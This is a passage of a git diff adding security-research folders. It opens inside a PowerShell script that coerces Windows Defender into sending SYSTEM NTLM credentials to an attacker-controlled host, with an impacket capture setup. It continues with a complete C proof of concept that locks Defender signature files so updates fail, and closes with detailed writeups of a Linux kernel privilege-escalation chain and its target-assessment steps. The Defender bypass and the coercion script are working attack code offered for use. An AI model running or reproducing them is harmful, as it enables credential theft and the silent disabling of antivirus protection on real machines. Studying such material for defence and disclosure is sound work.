System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow") +$newAcl.AddAccessRule($systemRule) +Set-Acl -Path $testFile -AclObject $newAcl + +Write-Host ("[+] EICAR file with SYSTEM-only ACL: " + $testFile) + +$acl = Get-Acl $testFile +$acl.Access | ForEach-Object { + Write-Host (" " + $_.IdentityReference + " -> " + $_.FileSystemRights + " (" + $_.AccessControlType + ")") +} + +Write-Host "" +try { + $null = Get-Content $testFile -ErrorAction Stop + Write-Host "[!] User CAN read file (unexpected)" -ForegroundColor Red +} catch { + Write-Host "[+] User cannot read file (Access Denied)" -ForegroundColor Green +} + +Write-Host "" +Write-Host "[*] Triggering scan..." +$scanStart = Get-Date +Start-MpScan -ScanType CustomScan -ScanPath $testFile 2>$null +Start-Sleep -Seconds 3 + +$threats = Get-MpThreatDetection 2>$null | + Where-Object { $_.Resources -match "system_only_eicar" -and $_.InitialDetectionTime -ge $scanStart.AddSeconds(-5) } + +if ($threats) { + foreach ($t in $threats) { + Write-Host ("[+] Detected: " + $t.InitialDetectionTime + " | " + $t.Resources) + } + Write-Host "[+] Defender read the file as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[!] No detection - Defender may have already quarantined EICAR" -ForegroundColor Yellow + Write-Host " Check: Get-MpThreat | Select ThreatName, IsActive" +} + +# --- Part 2: NTLM coercion --- + +Write-Host "" +Write-Host ("--- NTLM Coercion Test (target: " + $AttackerIP + ":" + $Port + ") ---") +Write-Host "" + +# WebDAV needs WebClient service running +if ($Port -ne 445) { + $wc = Get-Service WebClient -ErrorAction SilentlyContinue + if ($wc -and $wc.Status -ne "Running") { + Write-Host "[*] Starting WebClient service (needed for WebDAV)..." + Start-Service WebClient -ErrorAction SilentlyContinue + Start-Sleep -Seconds 1 + } + if (-not $wc) { + Write-Host "[!] WebClient service not found - WebDAV may not work" -ForegroundColor Yellow + } +} + +$logFile = Join-Path $env:TEMP "defender_ntlm_monitor.txt" +"" | Out-File $logFile -Encoding utf8 + +$monitorJob = Start-Job -ScriptBlock { + param($ip, $port, $logPath) + $end = (Get-Date).AddSeconds(15) + while ((Get-Date) -lt $end) { + $ts = Get-Date -Format "HH:mm:ss.fff" + $hits = netstat -ano 2>$null | Where-Object { $_ -match ($ip + ":" + $port) } + foreach ($h in $hits) { + $line = $ts + " | " + $h.Trim() + $line | Out-File $logPath -Append -Encoding utf8 + } + Start-Sleep -Milliseconds 200 + } +} -ArgumentList $AttackerIP, $Port, $logFile + +Start-Sleep -Seconds 1 + +if ($Port -eq 445) { + $uncPath = "\\" + $AttackerIP + "\ntlm_test\payload.exe" +} else { + $uncPath = "\\" + $AttackerIP + "@" + $Port + "\DavWWWRoot\file.exe" +} +Write-Host ("[*] Scanning: " + $uncPath) +Start-MpScan -ScanType CustomScan -ScanPath $uncPath 2>$null + +Wait-Job $monitorJob -Timeout 20 | Out-Null +Receive-Job $monitorJob 2>$null | Out-Null + +$results = Get-Content $logFile -ErrorAction SilentlyContinue | Where-Object { $_.Trim() } +if ($results) { + Write-Host "[+] Outgoing connections:" -ForegroundColor Green + $results | ForEach-Object { Write-Host (" " + $_) } + Write-Host "[+] PID 4 = System kernel - NTLM creds sent as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[*] No connection captured - try a non-routable IP for persistent evidence" -ForegroundColor Yellow +} + +Write-Host "" +Write-Host "[*] Attacker setup:" +if ($Port -eq 445) { + Write-Host " impacket-smbserver test /tmp/share -smb2support" +} else { + Write-Host (" python capture.py " + $Port) +} + +# cleanup +Remove-Item $testDir -Recurse -Force -ErrorAction SilentlyContinue 2>$null +Remove-Job $monitorJob -Force -ErrorAction SilentlyContinue 2>$null diff --git a/defender-signature-lock-bypass/README.md b/defender-signature-lock-bypass/README.md new file mode 100644 index 0000000..5b89ef7 --- /dev/null +++ b/defender-signature-lock-bypass/README.md @@ -0,0 +1,66 @@ +# CVE-2026-45498 Patch Bypass — FILE_SHARE_READ still freezes Defender + +Patch for CVE-2026-45498 (UnDefend by @ChaoticEclipse0) killed byte-range locks but left the DACLs wide open. Standard user can open sig files with `FILE_SHARE_READ` and block Defender from writing updates. Detection baseline stays frozen as long as you hold the handles. + +## Tested on + +- Platform **4.18.26050.15** (patch shipped in 4.18.26040.7 — this is two versions ahead) +- Engine **1.1.26050.11** +- Windows 11 25H2 + +17 files lockable across Definition Updates, Platform, and Program Files\Windows Defender. + +## Build + run + +``` +cl /O2 poc.c +poc.exe scans all 3 dirs, locks briefly, releases +poc.exe --hold keeps locks until you hit enter +``` + +Output on a fully patched box: +``` +CVE-2026-45498 patch bypass - FILE_SHARE_READ lock + +[*] C:\ProgramData\Microsoft\Windows Defender\Definition Updates + [+] mpengine_etw.dll 18.0 MB + [+] mpasbase.vdm 133.5 MB + [+] mpasdlta.vdm 2.3 MB + [+] mpavbase.vdm 58.9 MB + [+] mpavdlta.vdm 2.0 MB + [+] mpengine.dll 18.0 MB +[*] C:\ProgramData\Microsoft\Windows Defender\Platform + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 2.0 MB + [+] MpClient.dll 1.4 MB + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.8 MB + [+] MpDefenderCoreService.exe 2.1 MB + [+] MpClient.dll 1.4 MB +[*] C:\Program Files\Windows Defender + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 1.9 MB + +[*] 17 files locked, Defender can't write updates +[*] released +``` + +## What happened + +The original UnDefend used `LockFileEx` to byte-range lock `.vdm` files. Microsoft patched that specific call. But the reason it worked in the first place — standard users have read access to Defender's signature files — was never addressed. So just opening them with `CreateFileW` and `FILE_SHARE_READ` (no write sharing) blocks `MpSigStub.exe` from updating them. `ERROR_SHARING_VIOLATION`. + +| | UnDefend (original) | This bypass | +| --- | --- | --- | +| Method | `LockFileEx` byte-range locks | `CreateFileW` + `FILE_SHARE_READ` | +| Complexity | ~450 lines, multiple lock types | one API call per file | +| Patched | yes | no | + +## Impact + +Freeze sigs at a known baseline, drop malware that newer defs would catch. Standard user, no admin. Trivially persistent via scheduled task. + +## Fix + +Tighten DACLs on the sig files. Standard users don't need direct read access to `.vdm` databases or platform binaries. diff --git a/defender-signature-lock-bypass/poc.c b/defender-signature-lock-bypass/poc.c new file mode 100644 index 0000000..7d011cc --- /dev/null +++ b/defender-signature-lock-bypass/poc.c @@ -0,0 +1,105 @@ +/* + * poc.c — CVE-2026-45498 (UnDefend) patch bypass + * + * Patch killed byte-range locks, didn't touch the DACLs. + * FILE_SHARE_READ on the sig files still blocks writes. + * + * build: cl /O2 poc.c + * run: poc.exe [--hold] + */ + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +#define MAX_LOCKS 128 + +static int scan_and_lock(const char *base, HANDLE *out, int max) +{ + int n = 0; + char pattern[MAX_PATH], path[MAX_PATH]; + WIN32_FIND_DATAA fd; + + _snprintf(pattern, sizeof(pattern), "%s\\*", base); + HANDLE hf = FindFirstFileA(pattern, &fd); + if (hf == INVALID_HANDLE_VALUE) return 0; + + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if (fd.cFileName[0] != '.') { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + n += scan_and_lock(path, out + n, max - n); + } + continue; + } + + char *ext = PathFindExtensionA(fd.cFileName); + int want = 0; + if (_stricmp(ext, ".vdm") == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpengine", 8) == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpclient", 8) == 0) want = 1; + if (_stricmp(fd.cFileName, "MpDefenderCoreService.exe") == 0) want = 1; + if (_stricmp(fd.cFileName, "DefenderCSP.dll") == 0) want = 1; + + if (want && n < max) { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { + LARGE_INTEGER sz; + GetFileSizeEx(h, &sz); + printf(" [+] %-40s %.1f MB\n", fd.cFileName, + sz.QuadPart / 1048576.0); + out[n++] = h; + } + } + } while (FindNextFileA(hf, &fd) && n < max); + + FindClose(hf); + return n; +} + +int main(int argc, char **argv) +{ + int hold = argc > 1 && strcmp(argv[1], "--hold") == 0; + char buf[MAX_PATH]; + HANDLE locks[MAX_LOCKS]; + int total = 0; + + printf("CVE-2026-45498 patch bypass - FILE_SHARE_READ lock\n\n"); + + const char *dirs[] = { + "%s\\Microsoft\\Windows Defender\\Definition Updates", + "%s\\Microsoft\\Windows Defender\\Platform", + }; + const char *pdata = getenv("ProgramData"); + + for (int i = 0; i < 2; i++) { + _snprintf(buf, sizeof(buf), dirs[i], pdata); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + } + + _snprintf(buf, sizeof(buf), "%s\\Windows Defender", getenv("ProgramFiles")); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + + printf("\n[*] %d files locked, Defender can't write updates\n", total); + + if (!total) { + printf("[-] nothing lockable?\n"); + return 1; + } + + if (hold) { + printf("[*] holding locks, press enter to release\n"); + getchar(); + } + + for (int i = 0; i < total; i++) + CloseHandle(locks[i]); + printf("[*] released\n"); + return 0; +} diff --git a/dirty-crow-xarray-lpe/README.md b/dirty-crow-xarray-lpe/README.md new file mode 100644 index 0000000..50452f2 --- /dev/null +++ b/dirty-crow-xarray-lpe/README.md @@ -0,0 +1,116 @@ +# Dirty CROW: XArray Iterator Race to Local Root + +A Linux kernel local privilege escalation targeting the XArray iterator state machine. When a multi-index entry gets split or replaced while an iterator is sitting on a non-leaf node, the iterator can step backward instead of forward. The `filemap_map_pages()` consumer trusts that iteration only moves forward and uses the index delta for page table pointer math. A backward step wraps that unsigned delta, and the PTE cursor lands outside its intended page table page. From there you get arbitrary physical memory read/write and root. + +No special capabilities needed. No BPF, no io_uring, no userfaultfd, no network access. Just mmap, read, madvise, and fallocate from an unprivileged user. + +## Status + +Independently discovered by syzbot before my disclosure. The fix is public and was sent upstream. No CVE assigned as of September 6, 2026. + +## Discovery Timeline + +This is the part that sucks. + +I found this bug independently but didn't disclose it to security@kernel.org until August 31, 2026. What I didn't know at the time was that Google's syzbot automated fuzzer had already flagged the same crash back on May 29. Here's the full timeline: + +| Date | What happened | +| --- | --- | +| May 29 | syzbot automated triage flagged the crash | +| June 1 | syzbot public crash report posted, no reproducer | +| Aug 14-15 | syzbot reproducer found | +| Aug 16-28 | Four RFC fix iterations with human review | +| Aug 31 | I disclosed my report to security@kernel.org | +| Sep 3 | Fix approved and sent upstream, no mention of my report | +| Sep 4 | v2 fix submitted after CI issues | +| Sep 6 | Revised patch requeued in mm-hotfixes-unstable | + +So the fix was basically already done before I even hit send. I spent months on this, built a full exploit framework, proved it on multiple distros and ChromeOS, mapped the version history back to 4.20, and wrote a complete technical writeup. All of that work is real and the research stands on its own. But credit for the initial discovery goes to syzbot. + +I'm publishing this as a portfolio piece because the research and exploitation work is mine, even if the discovery wasn't first. + +## Root Cause + +The introducing commit is `b803b42823d0 ("xarray: Add XArray iterators")`, landed in Linux 4.20. + +The bug is in `xas_find()`. When you load a multi-index entry, `xa_offset` can stay at the entry's canonical sibling slot instead of matching the actual `xa_index`. If another thread then splits or replaces that entry while the iterator is on a non-leaf node, `xas_find()` only tries to fix the mismatch when `!xas->xa_node->shift`, which skips the non-leaf case entirely. So `xas_advance()` increments a stale offset and recalculates `xa_index` from the wrong position. The index goes backward. + +On a v4.20 kernel, iteration moves from index 96 to 64 instead of 128. Two out of 20,183,242 checks fail. Apply the fix and both transitions become monotonic. + +## Exploit Chain + +On affected kernels (tested on x86-64, 4 KiB pages): + +1. Create a shmem mapping with a multi-index large folio +2. Race page faults in `filemap_map_pages()` against a folio split or hole punch +3. Trigger the backward index transition +4. Reclaim the unintended page table page with attacker-shaped PTE data +5. Locate marker pages and verify physical memory read/write +6. Find and modify process credentials +7. Verify root and power off the VM + +The exploit deliberately corrupts live page tables. It's designed for disposable VMs. Don't run it on anything you care about. + +## Affected Versions + +| Kernel range | What's there | What's proven | +| --- | --- | --- | +| Before 4.20 | Nothing, XArray iterators don't exist yet | N/A | +| 4.20 to 5.16 | Iterator primitive is present and broken | Deterministic backstep proven on v4.20. No LPE for this range. | +| 5.17 to 6.0 | Full source chain exists, shmem gets multi-index folios | Controlled LPE on v5.17 with a 20ms instrumented window. Not proven on unmodified kernels. | +| 6.1+ | Complete chain with MADV_COLLAPSE trigger | Full unprivileged local root on multiple distros and ChromeOS R151 under QEMU | + +The 4.20 to 5.16 gap exists because older shmem stores compound pages as repeated order-0 XArray slots instead of one multi-index entry. The iterator bug is there but the exploit chain can't reach it through shmem. Other multi-index XArray users like DAX and pgmap either hold locks properly or use different lookup paths. + +A vendor kernel in that range could still be vulnerable if it backports later shmem folio code. + +## Proven Targets + +Local root was achieved from uid 65534 with zero capabilities and no_new_privs=1 on: + +- Multiple Ubuntu, Fedora, Arch, Alpine, Debian, and Chimera package kernels (x86-64 QEMU) +- ChromeOS R151 dedede recovery kernel 6.1.169 (x86-64 QEMU) + +Android emulator (API 34, kernel 6.1.23) showed kernel corruption and panic from an untrusted_app process but no controlled privilege escalation was achieved on Android. + +All results are under QEMU/TCG. Bare-metal reliability is not established. + +## Why Nothing is Hardened Against This + +The bug sits in the kernel's own page mapping path. When `filemap_map_pages()` installs PTEs, it's operating inside the kernel's trusted memory management code. There's no mitigation layer between the XArray iterator and the page table write. + +Things like hardened_malloc don't help because they protect userspace heap allocations, not kernel page tables. SELinux and seccomp don't help because the syscalls involved (mmap, read, madvise, fallocate) are allowed everywhere. KASLR doesn't help because the exploit works through physical memory access, not code pointer hijacking. + +Hardware-enforced PTE protections like iOS PPL and KTRR would catch this at the right layer, but no Linux kernel or distribution has anything equivalent. + +## Fix + +The candidate fix resynchronizes `xa_offset` from `xa_index` before advancing whenever they disagree, including at non-leaf nodes. The accompanying regression test retains an iterator inside a non-leaf multi-index entry, splits the entry, resumes, and checks that iteration stays monotonic. + +## Files + +- `README.md` - this file +- `docs/` - technical writeup, remediation/syzbot timeline, platform scope +- `patches/` - candidate fix patches (current-kernel and v4.20) +- `framework/` - the full exploit framework: + - `framework/baseline/` - exploit source (main LPE, v5.17 variant, run script) + - `framework/backends/` - x86-64 4KiB page table backend and proof contract + - `framework/probes/` - backstep legacy trigger + - `framework/src/` - minimal XArray probe + - `framework/dirtycrow/` - Python framework (target assessment, evidence collection, reliability, geometry, auditing, toolchain) + - `framework/reproducer/` - Android reproducer variants (v17 through v22) + - `framework/tools/` - geometry probes, barrier testing, build and run scripts + - `framework/profiles/` - per-distro target profiles (Ubuntu, Fedora, Arch, Alpine, Debian, Chimera, RHEL, Amazon Linux, Android GKI) + - `framework/patches/` - kernel patches and regression tests + - `framework/tests/` - framework test suite + - `framework/containers/` - kernel build Dockerfile + +## References + +- syzbot tracker: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +- Public v2 fix: https://lkml.iu.edu/2609.0/10627.html +- Introducing commit: `b803b42823d0 ("xarray: Add XArray iterators")`, Linux 4.20 + +## Responsible Use + +This is published as documentation of the vulnerability and the research behind it. No exploit code is included. Don't use any of this information to target systems you don't own or have explicit authorization to test. diff --git a/dirty-crow-xarray-lpe/docs/PLATFORM-SCOPE.md b/dirty-crow-xarray-lpe/docs/PLATFORM-SCOPE.md new file mode 100644 index 0000000..bc4294d --- /dev/null +++ b/dirty-crow-xarray-lpe/docs/PLATFORM-SCOPE.md @@ -0,0 +1,14 @@ +# Platform scope + +Summary of what has been proven on each platform and what hasn't. + +| Platform | What's proven | What's not proven | +| --- | --- | --- | +| Named Linux x86-64 package kernels (Ubuntu, Fedora, Arch, Alpine, Debian, Chimera) | Exact-image local root under QEMU | Universal distribution or default-install reliability | +| ChromeOS R151 recovery kernel | Exact kernel result under QEMU | Bare-metal, renderer path, ARCVM, or Android app escape | +| Linux v4.20 | Deterministic iterator invariant failure and repair | Ordinary-user v4.20 privilege escalation | +| Linux v5.17 | Controlled-instrumentation full chain (20ms window) | Unmodified-kernel reliability | +| API 34 x86-64 Android emulator | One app-domain kernel corruption and panic | Controlled escalation, reliability estimate, or physical device impact | +| Android 16 GKI ARM64 | Source relevance only | Runtime and physical-device impact | + +The full technical details and evidence boundaries are in `TECHNICAL-WRITEUP.md`. diff --git a/dirty-crow-xarray-lpe/docs/REMEDIATION.md b/dirty-crow-xarray-lpe/docs/REMEDIATION.md new file mode 100644 index 0000000..b7d5e11 --- /dev/null +++ b/dirty-crow-xarray-lpe/docs/REMEDIATION.md @@ -0,0 +1,42 @@ +# Remediation and status + +## Candidate repair + +The included candidate patches reconcile iterator offset state with the current logical index before advancing, including non-leaf nodes. They preserve the existing leaf transition behavior. + +Two source patches are included under `patches/`: the current-kernel candidate and its historical v4.20-context adaptation. Their original headers, attribution, and signoffs are preserved. + +## Discovery and fix timeline + +I found this bug independently but didn't disclose it to security@kernel.org until August 31, 2026. Google's syzbot automated fuzzer had already flagged the same crash months earlier. The fix was essentially done before my report arrived. + +| Date | What happened | +| --- | --- | +| May 29 | syzbot automated triage flagged the crash | +| June 1 | syzbot public crash report posted, no reproducer | +| Aug 14-15 | syzbot reproducer found | +| Aug 16-28 | Four RFC fix iterations with human review from Kaniewski | +| Aug 31 | I disclosed my report to security@kernel.org | +| Sep 3 | Fix approved and sent upstream, no mention of my report | +| Sep 4 | v2 fix submitted after CI issues | +| Sep 6 | Revised patch requeued in mm-hotfixes-unstable | + +The research and exploitation work is mine. The initial bug discovery credit goes to syzbot. + +## Status checked 6 September 2026 + +| Milestone | State | Notes | +| --- | --- | --- | +| Bug reported | Verified public | The syzbot tracker still listed it as `upstream: reported C repro` with `prio:high` and `actionable`. | +| Researcher security report | Local submission on Aug 31 | Mail delivery and recipient acknowledgement not independently verified. | +| Candidate repair proposed | Public v2 on Sep 4 | The v2 message reports XArray, ASan/UBSan, and KASAN testing. | +| Maintainer acknowledgement | Not verified | Public discussion is not automatically acknowledgement of security impact. | +| Accepted or merged fix | Not verified | No specific accepted commit identified. | +| Released or vendor-shipped fix | Not verified | No exact release, stable backport, advisory, or fixed vendor package identified. | +| CVE | Not found | Unrelated CVEs containing `xas_find` in stack traces were not mapped to this issue. | + +## What would actually fix this + +The only real fix is patching `xas_find()` to resync `xa_offset` from `xa_index` at all node levels before advancing, not just at leaf nodes. The patches under `patches/` do exactly that. + +Workarounds like disabling unprivileged user namespaces, shmem THP, or MADV_COLLAPSE can reduce reachability for specific deployments, but they don't fix the underlying iterator invariant violation. Any future multi-index XArray consumer that trusts forward iteration could become a new attack surface. diff --git a/dirty-crow-xarray-lpe/docs/TECHNICAL-WRITEUP.md b/dirty-crow-xarray-lpe/docs/TECHNICAL-WRITEUP.md new file mode 100644 index 0000000..66efdce --- /dev/null +++ b/dirty-crow-xarray-lpe/docs/TECHNICAL-WRITEUP.md @@ -0,0 +1,205 @@ +# Dirty CROW: Full Technical Writeup + +Prepared: 6 September 2026 + +## What it is + +Dirty CROW is a Linux XArray iterator state defect in `xas_find()`. When a multi-index entry gets concurrently replaced or split, the iterator can hold an `xa_offset` that doesn't match `xa_index` anymore. Advancing from that state moves `xa_index` backward even though every caller expects it to only go forward. + +The security-relevant consumer is `filemap_map_pages()`. It takes the regressed index and runs it through unsigned virtual address and PTE pointer deltas. On x86-64 with 4 KiB pages, that math causes PTE installation through an unintended page table page. The exploit converts that into marker-verified physical memory read/write, credential modification, and local root. + +The version breakdown matters: + +- Linux **4.20** starts the vulnerable iterator lineage. +- **4.20 through 5.16** has the iterator defect but the shmem exploit chain is incomplete. Shmem stores compound pages as repeated order-0 XArray slots rather than one multi-index entry. +- **5.17** adds multi-index shmem page cache folios, completing the source chain. +- **5.17 through 6.0** still lacks the `MADV_COLLAPSE` trigger. Reachability depends on legacy shmem THP policy or mount behavior and race timing. +- **6.1 and later** adds the synchronous file/shmem collapse path used by the portable exploit. Exact-target runtime evidence is still necessary. + +So "affected since 4.20" is accurate for the iterator primitive. It does not mean every 4.20 kernel is a working local root target. A kernel in that range can become security-relevant when its vendor tree, backports, enabled producers, consumers, runtime policy, and architecture complete the missing chain. + +## Impact and attacker model + +Confirmed impact on exact tested targets is ordinary-user local privilege escalation to the initial user namespace: + +- Initial identity: uid/gid 65534 +- `no_new_privs=1` +- Zero effective capabilities +- No BPF, io_uring, userfaultfd, network access, or loadable module required +- Final proof: all credential IDs changed to zero, capabilities verified, a pre-existing root-only file read, and a root-owned mode-0400 marker created + +The exploit deliberately corrupts live guest page tables. A successful process is not assumed to return or exit safely. The proof harness powers off the disposable VM after classification. This is a local attack, not remote code execution. + +## Root cause + +### The violated invariant + +For a forward `xas_find()` traversal, iterator location state must stay synchronized and `xa_index` must not decrease when traversal resumes after mutation. + +### The fault sequence + +1. `xas_load()` resolves a multi-index entry while `xa_index` identifies an interior index. +2. `xa_offset` can remain at the entry's canonical sibling slot rather than the slot implied by that interior index. +3. Another thread splits or replaces the multi-index entry while the iterator is retained at a non-leaf node. +4. The vulnerable `xas_find()` repairs the mismatch only when `!xas->xa_node->shift`, which excludes the non-leaf case. +5. `xas_advance()` increments the stale offset and recalculates `xa_index` from the wrong position. +6. `xa_index` moves backward. + +The introducing commit is `b803b42823d0 ("xarray: Add XArray iterators")`, landed in Linux 4.20. The v4.20 userspace regression moves from index 12 to 8 instead of 16. The live `CONFIG_XARRAY_MULTI=y` v4.20 kernel regression moves from 96 to 64 instead of 128, failing two of 20,183,242 checks. Applying the candidate non-leaf resynchronization makes both transitions monotonic and both complete suites pass. + +## The security-sensitive consumer + +`filemap_map_pages()` assumes XArray iteration goes forward. It updates the virtual address and PTE pointer using a delta equivalent to: + +``` +xas.xa_index - last_pgoff +``` + +When `xas.xa_index` regresses, this unsigned delta wraps to a large positive value. The PTE cursor moves outside the page table page intended for fault-around mapping. The subsequent mapping operation populates entries through an unintended page table page. + +On confirmed targets, the exploit chain is: + +1. Create a shmem-backed mapping containing a multi-index large folio +2. Race page faults in `filemap_map_pages()` against a folio split or hole-punch mutation +3. Trigger the XArray backward-index transition +4. Reclaim or alias the unintended page table page with attacker-shaped PTE data +5. Locate marker pages and verify selected physical memory read/write before escalation +6. Find and modify only the current process credentials +7. Verify bounded root proof and power off the VM + +## Version and integration matrix + +| Source interval | Iterator primitive | Standard upstream shmem producer | Reviewed filemap chain | What is established | +|---|---:|---:|---:|---| +| Before 4.20 | No | N/A | No | The XArray iterator code doesn't exist yet. | +| 4.20 to 5.16 | Yes | No | Incomplete | Deterministic userspace and live-kernel iterator backstep on v4.20. No ordinary-user LPE is established for this interval. | +| 5.17 to 6.0 | Yes | Yes | Source-complete | Controlled full LPE on exact upstream v5.17 with a 20 ms instrumented filemap window. Natural-race reliability and default-distribution exposure are not established. | +| 6.1+ | Yes unless fixed/backported | Yes | Source-complete with MADV_COLLAPSE trigger | End-to-end LPE on exact named package and ChromeOS kernel bytes under recorded QEMU geometries. This remains target-specific, not universal. | + +### Linux 4.20 through 5.16 + +The root cause is real and executable in the kernel, but the shmem exploit can't be transplanted unchanged. Upstream shmem represents each subpage of a compound page in a separate order-0 XArray slot. `MADV_HUGEPAGE`, tmpfs `huge=` policy, or forcing shmem THP can create a huge page, but those settings don't convert the pre-5.17 storage representation into the required multi-index XArray entry. + +Linux 4.20 does contain other multi-index XArray users: + +- A modeled DAX PMD-value-to-PTE-value transition reproduces the iterator regression. It does not complete a security chain: the reviewed filemap path skips `xa_value` entries, and relevant DAX iterators hold the XArray lock and call `xas_pause()` before unlocking. +- `pgmap_array` contains multi-index ranges, but the reviewed lookup uses `xa_load()` rather than a retained `xas_find()` iterator. + +Those results matter because they show the generic primitive is not shmem-specific. They do not establish a v4.20 DAX, pgmap, memory-corruption, or privilege-escalation claim. + +A 4.20 to 5.16 vendor kernel remains a target for source review when its integration differs from upstream. A plausible chain requires all of the following: + +1. The vulnerable non-leaf `xas_find()` behavior is present and no equivalent fix is backported. +2. A reachable subsystem stores a multi-index entry at a non-leaf XArray level. +3. The entry can be split or replaced while a retained iterator crosses an unlock or otherwise races mutation. +4. A consumer uses the regressed index in security-sensitive pointer, address, length, or object-selection arithmetic. +5. A low-privilege actor can reach the producer, mutation, and consumer under the target configuration. + +Vendor backports can move these transitions across nominal release boundaries. An older base version carrying later large-folio shmem code can be materially different from upstream of the same version, while a newer kernel carrying the iterator repair may not be vulnerable. This is a source-audit hypothesis until the exact vendor tree and runtime path are verified. + +### Linux 5.17 + +Commit `6b24ca4a1a8d` changes shmem page cache representation to multi-index folio entries. This supplies the missing producer and makes the shmem/XArray/filemap source chain complete. + +The retained controlled v5.17 run used: + +- Exact upstream v5.17 commit `f8e739787152` +- QEMU 8.2.2 TCG, x86-64, 4 KiB pages, 2 GiB RAM, four vCPUs +- `CONFIG_USER_NS=y`, `CONFIG_TMPFS=y`, `CONFIG_TRANSPARENT_HUGEPAGE=y`, `CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS=y`, `CONFIG_XARRAY_MULTI=y` +- An unprivileged user/mount namespace with tmpfs `huge=always` +- An order-9 shmem folio and `FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE` mutation +- A 20 ms delay inserted after a large-folio lookup to widen the vulnerable filemap window + +The vulnerable run recorded `xa_index` moving from `0x140` to `0x40`, followed by the page table primitive, selected physical memory read/write, and root-helper execution. The candidate-fix build entered the same widened window but recorded no backward transition and no primitive in ten rounds. + +This establishes that Linux 5.17 contains a working end-to-end code path. The artificial delay means it does not quantify natural scheduling probability on an unmodified kernel. + +## Why kernel version alone is not enough + +Dirty CROW exploitability is the intersection of source, configuration, policy, geometry, and timing. + +### Source requirements + +- Vulnerable `xas_find()` non-leaf offset handling +- A multi-index producer +- A mutation capable of invalidating retained iterator state +- A consumer that propagates a backward index into a security-sensitive operation + +### Build and boot requirements for the retained chain + +- XArray multi-index support +- shmem/tmpfs and transparent huge page support +- filemap fault-around behavior compatible with the sink +- An architecture/backend combination understood by the exploit (retained full LPE evidence is x86-64 with 4 KiB pages) +- Kernel structure/layout assumptions matching the selected backend + +### Runtime reachability + +- A policy or mount capable of producing multi-index shmem folios +- Required syscalls available to the attacker context, including the mapping and hole-punch operations used by the selected trigger +- User namespaces when the trigger relies on an unprivileged private tmpfs mount +- Allocator and scheduler conditions that permit the race and page table reclaim + +A configuration can remove one route without repairing the generic iterator. Conversely, a vendor backport can introduce a producer into an older base kernel. Mitigation and impact decisions need exact source and configuration, not only `uname -r`. + +## Target assessment procedure + +Classify a candidate kernel in this order: + +1. Record the exact kernel package, source revision, configuration, architecture, page size, boot command line, and vendor patch stack. +2. Check whether `lib/xarray.c:xas_find()` contains the vulnerable leaf-only resynchronization or an equivalent repair. +3. Inventory all reachable multi-index XArray producers. For the retained chain, determine whether shmem stores one large folio as a multi-index entry. +4. Confirm a reachable concurrent split/replacement operation. +5. Trace every `xas_find()` consumer across the mutation boundary. Look for unsigned deltas, pointer arithmetic, object lookup, or lifetime decisions derived from `xa_index`. +6. Check build options and runtime policy. For the historical shmem path, inspect tmpfs/THP policy and unprivileged user namespace availability. +7. Run the deterministic iterator regression before attempting an exploit. A fail-before/pass-after result establishes root cause state without claiming impact. +8. Run only the framework's plan-only or proof-only mode in a disposable, networkless VM. Preserve misses, crashes, and negative controls as evidence rather than converting them into positives. +9. Promote a target to "runtime exploitable" only after an exact, provenance-bound end-to-end result. + +### Target tiers + +- Tier C: 4.20 to 5.16, primitive-only +- Tier B: 5.17 to 6.0, legacy policy-dependent producer +- Tier A: 6.1+, source chain with the later collapse trigger + +## Candidate fix + +The candidate correction resynchronizes `xa_offset` from `xa_index` before advancing whenever those fields disagree, including at non-leaf nodes. The accompanying regression retains an iterator inside a non-leaf multi-index entry, splits/replaces the entry, resumes traversal, and checks monotonic progress. + +Evidence includes: + +- Deterministic v4.20 userspace and live-kernel fail-before/pass-after results +- Deterministic current-source XArray fail-before/pass-after results +- Matched vulnerable/fixed v6.12.105 full-kernel trials +- Controlled v5.17 vulnerable/fixed-window comparison + +Disabling unprivileged user namespaces, shmem THP, or related trigger paths can reduce reachability for a specific deployment. Those are mitigations, not repairs for the generic iterator invariant. + +Both the current-kernel and v4.20-context patches are included under `patches/`. + +## Evidence boundaries + +### Established + +- The XArray iterator defect is present and deterministic in v4.20 +- Upstream shmem gains the missing multi-index producer in v5.17 +- An instrumented exact v5.17 kernel completes the entire LPE chain +- Exact named later x86-64 kernels complete the unprivileged local root chain under retained VM geometries +- The candidate repair prevents the deterministic iterator regression in the recorded controls + +### Not established + +- Ordinary-user privilege escalation on upstream v4.20 to 5.16 +- A production DAX or pgmap chain +- Natural-race reliability on an unmodified v5.17 kernel +- Universal impact based only on version number +- Non-x86-64 exploitation +- Safe process continuation after page table corruption +- Bare-metal reliability for every QEMU-confirmed kernel +- An accepted or shipped fix + +## References + +- syzbot tracker: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +- Public v2 fix: https://lkml.iu.edu/2609.0/10627.html +- Introducing commit: `b803b42823d0 ("xarray: Add XArray iterators")`, Linux 4.20 diff --git a/dirty-crow-xarray-lpe/framework/.github/workflows/ci.yml b/dirty-crow-xarray-lpe/framework/.github/workflows/ci.yml new file mode 100644 index 0000000..ec5c9cd --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/.github/workflows/ci.yml @@ -0,0 +1,239 @@ +name: ci + +on: + push: + pull_request: + workflow_dispatch: + +permissions: + contents: read + +jobs: + python: + name: Python 